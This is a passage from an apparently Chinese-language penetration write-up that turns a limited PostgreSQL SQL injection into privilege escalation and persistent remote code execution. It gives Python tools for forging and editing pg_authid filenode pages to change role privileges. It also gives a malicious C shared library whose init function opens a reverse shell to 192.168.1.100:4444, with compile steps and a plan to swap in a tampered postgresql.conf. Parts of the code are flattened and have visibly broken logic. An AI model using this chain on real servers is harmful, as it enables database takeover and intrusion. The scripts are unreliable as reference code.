#!/usr/bin/env python3
import struct

# PostgreSQL 页面大小 8KB
PG_PAGE_SIZE = 8192

def create_pg_authid_filenode():
# 创建空页面（8KB）
page_data = bytearray(PG_PAGE_SIZE)

# --------------------------
# 第一个元组：postgres 用户 (oid=10)
# --------------------------
tuple_offset = 256 # 元组起始偏移
# 元组长度（144字节）
page_data[tuple_offset:tuple_offset+2] = struct.pack('H', 144)
tuple_offset += 2

# 跳过元组头部（23字节）
tuple_offset += 23

# 系统字段（tableoid, cmax, xmax, cmin, xmin, ctid）
# tableoid (oid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 1260)
tuple_offset += 4
# cmax (cid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
# xmax (xid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
# cmin (cid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
# xmin (xid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 10)
tuple_offset += 4
# ctid (tid, 6字节)
page_data[tuple_offset:tuple_offset+6] = struct.pack('HH', 0, 0) + b'\x00'
tuple_offset += 6

# pg_authid 核心字段
# oid (oid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 10)
tuple_offset += 4
# rolname (name, 64字节) - postgres
rolname = b'postgres' + b'\x00' * (64 - len(b'postgres'))
page_data[tuple_offset:tuple_offset+64] = rolname
tuple_offset += 64
# rolsuper (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolinherit (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolcreaterole (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolcreatedb (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolcanlogin (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolreplication (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolbypassrls (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolconnlimit (int4, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', -1)
tuple_offset += 4
# rolpassword (text, -1) - NULL
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 0)
tuple_offset += 4
# rolvaliduntil (timestamptz, 8字节)
page_data[tuple_offset:tuple_offset+8] = struct.pack('d', 0.0)
tuple_offset += 8

# --------------------------
# 第二个元组：pg_monitor 用户 (oid=3373)
# --------------------------
tuple_offset = 768 # 第二个元组起始偏移
# 元组长度（144字节）
page_data[tuple_offset:tuple_offset+2] = struct.pack('H', 144)
tuple_offset += 2
# 跳过元组头部（23字节）
tuple_offset += 23

# 系统字段
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 1260)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 10)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+6] = struct.pack('HH', 0, 1) + b'\x00'
tuple_offset += 6

# pg_authid 核心字段
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 3373)
tuple_offset += 4
rolname = b'pg_monitor' + b'\x00' * (64 - len(b'pg_monitor'))
page_data[tuple_offset:tuple_offset+64] = rolname
tuple_offset += 64
page_data[tuple_offset] = 0 # rolsuper
tuple_offset += 1
page_data[tuple_offset] = 1 # rolinherit
tuple_offset += 1
page_data[tuple_offset] = 0 # rolcreaterole
tuple_offset += 1
page_data[tuple_offset] = 0 # rolcreatedb
tuple_offset += 1
page_data[tuple_offset] = 0 # rolcanlogin
tuple_offset += 1
page_data[tuple_offset] = 0 # rolreplication
tuple_offset += 1
page_data[tuple_offset] = 0 # rolbypassrls
tuple_offset += 1
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', -1) # rolconnlimit
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 0) # rolpassword (NULL)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+8] = struct.pack('d', 0.0) # rolvaliduntil
tuple_offset += 8

# --------------------------
# 第十个元组：poc_user 用户 (oid=16386)
# --------------------------
tuple_offset = 10000 # 第十个元组起始偏移（注意：8KB内）
if tuple_offset > PG_PAGE_SIZE:
tuple_offset = 4096
# 元组长度（152字节）
page_data[tuple_offset:tuple_offset+2] = struct.pack('H', 152)
tuple_offset += 2
# 跳过元组头部（23字节）
tuple_offset += 23

# 系统字段
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 1260)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 10)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+6] = struct.pack('HH', 0, 9) + b'\x00'
tuple_offset += 6

# pg_authid 核心字段
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 16386)
tuple_offset += 4
rolname = b'poc_user' + b'\x00' * (64 - len(b'poc_user'))
page_data[tuple_offset:tuple_offset+64] = rolname
tuple_offset += 64
page_data[tuple_offset] = 0 # rolsuper
tuple_offset += 1
page_data[tuple_offset] = 1 # rolinherit
tuple_offset += 1
page_data[tuple_offset] = 0 # rolcreaterole
tuple_offset += 1
page_data[tuple_offset] = 0 # rolcreatedb
tuple_offset += 1
page_data[tuple_offset] = 1 # rolcanlogin
tuple_offset += 1
page_data[tuple_offset] = 0 # rolreplication
tuple_offset += 1
page_data[tuple_offset] = 0 # rolbypassrls
tuple_offset += 1
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', -1) # rolconnlimit
tuple_offset += 4
# rolpassword (text) - md58616944eb80b569f7be225c2442582cd
password = b'md58616944eb80b569f7be225c2442582cd'
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', len(password) + 4)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+len(password)] = password
tuple_offset += len(password)
# rolvaliduntil
page_data[tuple_offset:tuple_offset+8] = struct.pack('d', 0.0)
tuple_offset += 8

# 写入文件
with open('pg_authid_filenode', 'wb') as f:
f.write(page_data)
print("已生成 pg_authid_filenode 文件")

if __name__ == '__main__':
create_pg_authid_filenode()

def main(): # 解析命令行参数 parser = argparse.ArgumentParser(description='PostgreSQL Filenode Editor/Reader') parser.add_argument('-f', '--file', required=True, help='Filenode 文件路径') parser.add_argument('-m', '--mode', required=True, choices=['list', 'update'], help='操作模式 (list/update)') parser.add_argument('--datatype-csv', required=True, help='字段类型CSV字符串') # Update模式参数 parser.add_argument('-p', '--page', type=int, default=0, help='要更新的页码（仅update模式）') parser.add_argument('-i', '--item', type=int, help='要更新的item编号（仅update模式）') parser.add_argument('--csv-data', help='更新的字段数据CSV（仅update模式）') args = parser.parse_args() # 解析数据类型CSV datatype_fields = parse_datatype_csv(args.datatype_csv) # 处理不同模式 if args.mode == 'list': # List模式：解析并显示 try: with open(args.file, 'rb') as f: page_data = read_pg_page(f, 0) print(f"[+] Page 0:") # 解析元组数据 tuples = parse_tuple_data(page_data, datatype_fields) # 过滤出pg_authid相关字段 pg_authid_fields = ['oid', 'rolname', 'rolsuper', 'rolinherit', 'rolcreaterole', 'rolcreatedb', 'rolcanlogin', 'rolreplication', 'rolbypassrls', 'rolconnlimit', 'rolpassword'] # 输出解析结果 for item_num, record in sorted(tuples): print(f"--------- item no. {item_num} ---------") for field in pg_authid_fields: if field in record: value = record[field] print(f"{field:<15}: {value}") print() except FileNotFoundError: print(f"错误: 文件 {args.file} 不存在") except Exception as e: print(f"错误: {e}") elif args.mode == 'update': # Update模式：修改并生成新文件 if args.item is None or args.csv_data is None: print("错误：update模式必须指定 -i (item编号) 和 --csv-data (更新数据)") return try: # 1. 读取原文件 with open(args.file, 'rb') as f: page_data = read_pg_page(f, args.page) # 2. 更新元组数据 updated_page = update_tuple_data( page_data, args.page, args.item, args.csv_data, datatype_fields ) # 3. 写入新文件 new_filename = f"{args.file}.new" with open(new_filename, 'wb') as f: f.write(updated_page) print(f"成功生成新文件: {new_filename}") print(f" - 更新页码: {args.page}") print(f" - 更新Item: {args.item}") print(f" - 更新数据: {args.csv_data}") # 4. 验证更新结果 print("\n[验证更新结果]") tuples = parse_tuple_data(updated_page, datatype_fields) for item_num, record in tuples: if item_num == args.item: print(f"--------- item no. {item_num} (已更新) ---------") pg_authid_fields = ['oid', 'rolname', 'rolsuper', 'rolinherit', 'rolcreaterole', 'rolcreatedb', 'rolcanlogin', 'rolreplication', 'rolbypassrls', 'rolconnlimit', 'rolpassword'] for field in pg_authid_fields: if field in record: value = record[field] print(f"{field:<15}: {value}") break except FileNotFoundError: print(f"错误: 文件 {args.file} 不存在") except ValueError as e: print(f"错误: {e}") except Exception as e: print(f"错误: {e}") import traceback traceback.print_exc() if __name__ == '__main__': main() pg_authid_filenode 文件内容示例 文件 pg_authid_filenode 是从目标服务器提取出的二进制文件，这里可用py生成用于测试 代码

#!/usr/bin/env python3 import argparse import struct import csv import base64 from io import BytesIO # PostgreSQL 默认页面大小 (8KB) PG_PAGE_SIZE = 8192 # 测试文件中元组位置映射（page 0） TUPLE_POSITIONS = { 0: 256, # item 0: postgres 1: 768, # item 1: pg_monitor 9: 4096 # item 9: poc_user } # PostgreSQL 类型解析器/生成器映射 TYPE_HANDLERS = { 'oid': { 'parse': lambda b: struct.unpack('I', b)[0] if len(b)==4 else 0, 'pack': lambda v: struct.pack('I', int(v)) }, 'cid': { 'parse': lambda b: struct.unpack('i', b)[0] if len(b)==4 else 0, 'pack': lambda v: struct.pack('i', int(v)) }, 'xid': { 'parse': lambda b: struct.unpack('i', b)[0] if len(b)==4 else 0, 'pack': lambda v: struct.pack('i', int(v)) }, 'tid': { 'parse': lambda b: struct.unpack('HH', b[:4]) if len(b)>=4 else (0,0), 'pack': lambda v: struct.pack('HH', 0, int(v)) + b'\x00' }, 'int4': { 'parse': lambda b: struct.unpack('i', b)[0] if len(b)==4 else 0, 'pack': lambda v: struct.pack('i', int(v)) }, 'bool': { 'parse': lambda b: struct.unpack('b', b)[0] if len(b)==1 else 0, 'pack': lambda v: struct.pack('b', int(v)) }, 'name': { 'parse': lambda b: b.split(b'\x00')[0] if b else b'', 'pack': lambda v: base64.b64decode(v) if v.startswith('cG9j') else (v.encode() + b'\x00' * 64)[:64] }, 'text': { 'parse': lambda b: b if b and len(b)>0 else None, 'pack': lambda v: struct.pack('I', len(v)+4) + v.encode() if v != 'NULL' else struct.pack('I', 0) }, 'timestamptz': { 'parse': lambda b: struct.unpack('d', b)[0] if len(b)==8 else 0.0, 'pack': lambda v: struct.pack('d', 0.0) if v == 'NULL' else struct.pack('d', float(v)) }, } # pg_authid 核心字段顺序（对应csv-data） PG_AUTHID_FIELDS = [ 'oid', 'rolname', 'rolsuper', 'rolinherit', 'rolcreaterole', 'rolcreatedb', 'rolcanlogin', 'rolreplication', 'rolbypassrls', 'rolconnlimit', 'rolpassword', 'rolvaliduntil' ] def parse_datatype_csv(csv_str): """解析数据类型CSV字符串，返回字段解析规则列表""" fields = [] for field_str in csv_str.split(';'): if not field_str.strip(): continue parts = field_str.split(',') if len(parts) < 4: continue field_name, typname, attlen, attalign = parts[:4] fields.append({ 'name': field_name.strip(), 'type': typname.strip(), 'length': int(attlen.strip()), 'align': attalign.strip() }) return fields def read_pg_page(file_handle, page_num=0): """读取指定页码的PostgreSQL数据页面""" file_handle.seek(page_num * PG_PAGE_SIZE) return bytearray(file_handle.read(PG_PAGE_SIZE)) def parse_tuple_data(page_data, fields): """解析页面中的元组数据（list模式）""" tuples = [] for item_num, offset in TUPLE_POSITIONS.items(): try: # 读取元组长度 tuple_len = struct.unpack('H', page_data[offset:offset+2])[0] offset += 2 if tuple_len == 0 or offset + tuple_len > len(page_data): continue # 读取元组数据 tuple_data = page_data[offset:offset+tuple_len] tuple_io = BytesIO(tuple_data) # 跳过元组头部（23字节） tuple_io.seek(23) # 解析每个字段 record = {} for field in fields: field_name = field['name'] field_type = field['type'] field_len = field['length'] try: # 处理变长字段（length=-1） if field_len == -1: var_len_data = tuple_io.read(4) if len(var_len_data) < 4: field_value = None else: var_len = struct.unpack('I', var_len_data)[0] if var_len == 0: field_value = None else: field_value = tuple_io.read(var_len - 4) else: # 定长字段 field_data = tuple_io.read(field_len) if len(field_data) < field_len: field_value = None else: parser = TYPE_HANDLERS.get(field_type, {}).get('parse', lambda b: b) field_value = parser(field_data) record[field_name] = field_value except Exception as e: record[field_name] = None tuples.append((item_num, record)) except Exception as e: continue return tuples def update_tuple_data(page_data, page_num, item_num, csv_data, datatype_fields): """更新指定元组数据（update模式）""" # 1. 解析更新数据 update_values = csv_data.split(',') if len(update_values) != len(PG_AUTHID_FIELDS): raise ValueError(f"更新数据字段数不匹配，需要{len(PG_AUTHID_FIELDS)}个，实际{len(update_values)}个") # 构建更新字典 update_dict = dict(zip(PG_AUTHID_FIELDS, update_values)) # 2. 定位元组位置 if item_num not in TUPLE_POSITIONS: raise ValueError(f"Item {item_num} 不存在，支持的item: {list(TUPLE_POSITIONS.keys())}") tuple_offset = TUPLE_POSITIONS[item_num] # 3. 读取元组长度 tuple_len = struct.unpack('H', page_data[tuple_offset:tuple_offset+2])[0] data_offset = tuple_offset + 2 + 23 # 元组长度(2) + 元组头部(23) # 4. 找到pg_authid字段在datatype_fields中的位置 field_index_map = {} for idx, field in enumerate(datatype_fields): if field['name'] in PG_AUTHID_FIELDS: field_index_map[field['name']] = idx # 5. 计算每个字段的偏移并更新 current_offset = data_offset # 先跳过系统字段（tableoid, cmax, xmax, cmin, xmin, ctid） system_fields = ['tableoid', 'cmax', 'xmax', 'cmin', 'xmin', 'ctid'] for field in datatype_fields: if field['name'] in system_fields: if field['length'] == -1: current_offset += 4 # 变长字段头部 current_offset += struct.unpack('I', page_data[current_offset-4:current_offset])[0] - 4 else: current_offset += field['length'] # 更新pg_authid核心字段 for field_name in PG_AUTHID_FIELDS: if field_name not in field_index_map: continue field = datatype_fields[field_index_map[field_name]] field_type = field['type'] field_len = field['length'] update_value = update_dict[field_name] try: # 获取字段打包函数 pack_func = TYPE_HANDLERS.get(field_type, {}).get('pack', lambda v: v.encode()) # 处理不同类型字段 if field_len == -1: # 变长字段（text） # 先清空原有数据（简单处理：直接覆盖） packed_data = pack_func(update_value) # 写入新数据 page_data[current_offset:current_offset+len(packed_data)] = packed_data current_offset += len(packed_data) else: # 定长字段 packed_data = pack_func(update_value) # 确保长度匹配 if len(packed_data) < field_len: packed_data += b'\x00' * (field_len - len(packed_data)) elif len(packed_data) > field_len: packed_data = packed_data[:field_len] # 写入新数据 page_data[current_offset:current_offset+field_len] = packed_data current_offset += field_len except Exception as e: print(f"警告：更新字段 {field_name} 失败 - {e}") current_offset += field_len if field_len != -1 else 4 return page_data

4 仅用SELECT语句实现远程代码执行 4.0 读取原始postgresql.conf配置文件 完成 RCE 第一步是下载原始配置文件。目前已是超管可直接通过查询配置文件路径后，用大对象函数来下载它 4.1 选取待利用的配置参数 我们可以修改恶意的 postgresql.conf 配置文件，在 dynamic_library_path 中加入可写目录（例如 /tmp），并在 shared_preload_libraries 中指定恶意库文件名（例如 malicious.so）。 修改后的配置文件内容如下： 4.2 编译恶意动态链接库 最后几步之一是编译一个供服务器加载的恶意动态库。代码内容会根据数据库管理系统（DBMS）所运行的操作系统不同而有所变化。对于类 Unix 系统，我们可以将以下简单的反向 Shell 代码编译成 .so 文件。_init() 函数会在动态库被加载时自动执行： 代码 #include #include #include #include #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif void _PG_init(void) { system("bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"); } PG_FUNCTION_INFO_V1(malicious_func); Datum malicious_func(PG_FUNCTION_ARGS) { PG_RETURN_NULL(); } 编译成 so 库（需安装 PGSQL 开发包postgresql-server-dev-<版本>）。编译前，须安装对应主版本的开发包 代码 $ sudo apt install postgresql-13 postgresql-server-dev-13 -y $ sudo gcc -fPIC -c malicious.c -I/usr/include/postgresql/14/server $ sudo gcc -shared -o malicious.so malicious.o 4.3 将文件上传至目标服务器 上传并替换原 postgresql.conf 文件： 上传恶意 .so 文件到可访问路径 如果此时在目标服务器上检查可看到 .so 恶意库文件已部署到位。 4.4 配置重载成功 此时重载配置，就能收到反弹 Shell 攻击机端： 5 结论 在此次复盘中，我们通过直接修改数据库管理系统（DBMS）的文件与数据，从零构造出 DELETE 和 UPDATE 语句，成功将一个看似权限极度受限的 SQL 注入漏洞危害等级提升至严重级别，实现提权并持久化 RCE 的完整突破，但愿本文能在思路上为你带来一些实用的收获。 6 参考文献 https://www.postgresql.org/docs/current/lo-funcs.html https://www.postgresql.org/docs/current/storage-page-layout.html https://www.postgresql.org/docs/current/storage-hot.html 7 工具源代码 pgsql_nodeEdit_v1.0 第一个版本 pgsql_nodeEdit_v1.0.py 是只用于查看节点数据 代码 #!/usr/bin/env python3 import argparse import struct import csv from io import BytesIO # PostgreSQL 默认页面大小 (8KB) PG_PAGE_SIZE = 8192 # PostgreSQL 类型解析器映射 TYPE_PARSERS = { 'oid': lambda b: struct.unpack('I', b)[0] if len(b)==4 else 0, # 4字节无符号整数 'cid': lambda b: struct.unpack('i', b)[0] if len(b)==4 else 0, # 4字节有符号整数 'xid': lambda b: struct.unpack('i', b)[0] if len(b)==4 else 0, # 4字节有符号整数 'tid': lambda b: struct.unpack('HH', b[:4]) if len(b)>=4 else (0,0), # 简化处理tid 'int4': lambda b: struct.unpack('i', b)[0] if len(b)==4 else 0, # 4字节有符号整数 'bool': lambda b: struct.unpack('b', b)[0] if len(b)==1 else 0, # 1字节布尔值 'name': lambda b: b.split(b'\x00')[0] if b else b'', # 以NULL结尾的字符串 'text': lambda b: b if b and len(b)>0 else None, # 文本类型（-1表示变长） 'timestamptz': lambda b: struct.unpack('d', b)[0] if len(b)==8 else 0.0, # 8字节双精度浮点数 } def parse_datatype_csv(csv_str): """ 解析数据类型CSV字符串，返回字段解析规则列表 格式: "字段名,类型名,长度,对齐方式;字段名,类型名,长度,对齐方式..." """ fields = [] for field_str in csv_str.split(';'): if not field_str.strip(): continue parts = field_str.split(',') if len(parts) < 4: continue field_name, typname, attlen, attalign = parts[:4] fields.append({ 'name': field_name.strip(), 'type': typname.strip(), 'length': int(attlen.strip()), 'align': attalign.strip() }) return fields def read_pg_page(file_handle, page_num=0): """读取指定页码的PostgreSQL数据页面""" file_handle.seek(page_num * PG_PAGE_SIZE) return file_handle.read(PG_PAGE_SIZE) def parse_tuple_data(page_data, fields): """ 修复版：解析页面中的元组数据 适配我们生成的测试文件结构 """ tuples = [] # 手动指定测试文件中的元组位置（匹配生成脚本） tuple_positions = [ 256, # item 0: postgres 768, # item 1: pg_monitor 4096 # item 9: poc_user ] for item_num, offset in enumerate(tuple_positions): try: # 读取元组长度 tuple_len = struct.unpack('H', page_data[offset:offset+2])[0] offset += 2 if tuple_len == 0 or offset + tuple_len > len(page_data): continue # 读取元组数据 tuple_data = page_data[offset:offset+tuple_len] tuple_io = BytesIO(tuple_data) # 跳过元组头部（23字节） tuple_io.seek(23) # 解析每个字段 record = {} for field in fields: field_name = field['name'] field_type = field['type'] field_len = field['length'] try: # 处理变长字段（length=-1） if field_len == -1: # 读取变长字段头部（4字节长度） var_len_data = tuple_io.read(4) if len(var_len_data) < 4: field_value = None else: var_len = struct.unpack('I', var_len_data)[0] if var_len == 0: field_value = None else: field_value = tuple_io.read(var_len - 4) else: # 定长字段 field_data = tuple_io.read(field_len) if len(field_data) < field_len: field_value = None else: # 使用对应的类型解析器 parser = TYPE_PARSERS.get(field_type, lambda b: b) field_value = parser(field_data) record[field_name] = field_value except Exception as e: record[field_name] = None # 手动修正item编号（第三个是item 9） if item_num == 2: item_num = 9 tuples.append((item_num, record)) except Exception as e: continue return tuples def main(): # 解析命令行参数 parser = argparse.ArgumentParser(description='PostgreSQL Filenode Editor/Reader') parser.add_argument('-f', '--file', required=True, help='Filenode 文件路径') parser.add_argument('-m', '--mode', required=True, choices=['list'], help='操作模式 (仅支持list)') parser.add_argument('--datatype-csv', required=True, help='字段类型CSV字符串') args = parser.parse_args() # 解析数据类型CSV fields = parse_datatype_csv(args.datatype_csv) # 读取filenode文件 try: with open(args.file, 'rb') as f: # 读取第0页 page_data = read_pg_page(f, 0) print(f"[+] Page 0:") # 解析元组数据 tuples = parse_tuple_data(page_data, fields) # 过滤出pg_authid相关字段 pg_authid_fields = ['oid', 'rolname', 'rolsuper', 'rolinherit', 'rolcreaterole', 'rolcreatedb', 'rolcanlogin', 'rolreplication', 'rolbypassrls', 'rolconnlimit', 'rolpassword'] # 输出解析结果 for item_num, record in tuples: print(f"--------- item no. {item_num} ---------") for field in pg_authid_fields: if field in record: value = record[field] # 格式化输出 print(f"{field:<15}: {value}") print() except FileNotFoundError: print(f"错误: 文件 {args.file} 不存在") except Exception as e: print(f"错误: {e}") import traceback traceback.print_exc() if __name__ == '__main__': main() pgsql_nodeEdit_v1.1 更新后的版本 pgsql_nodeEdit_v1.1.py 可用于查看+修改节点数据 代码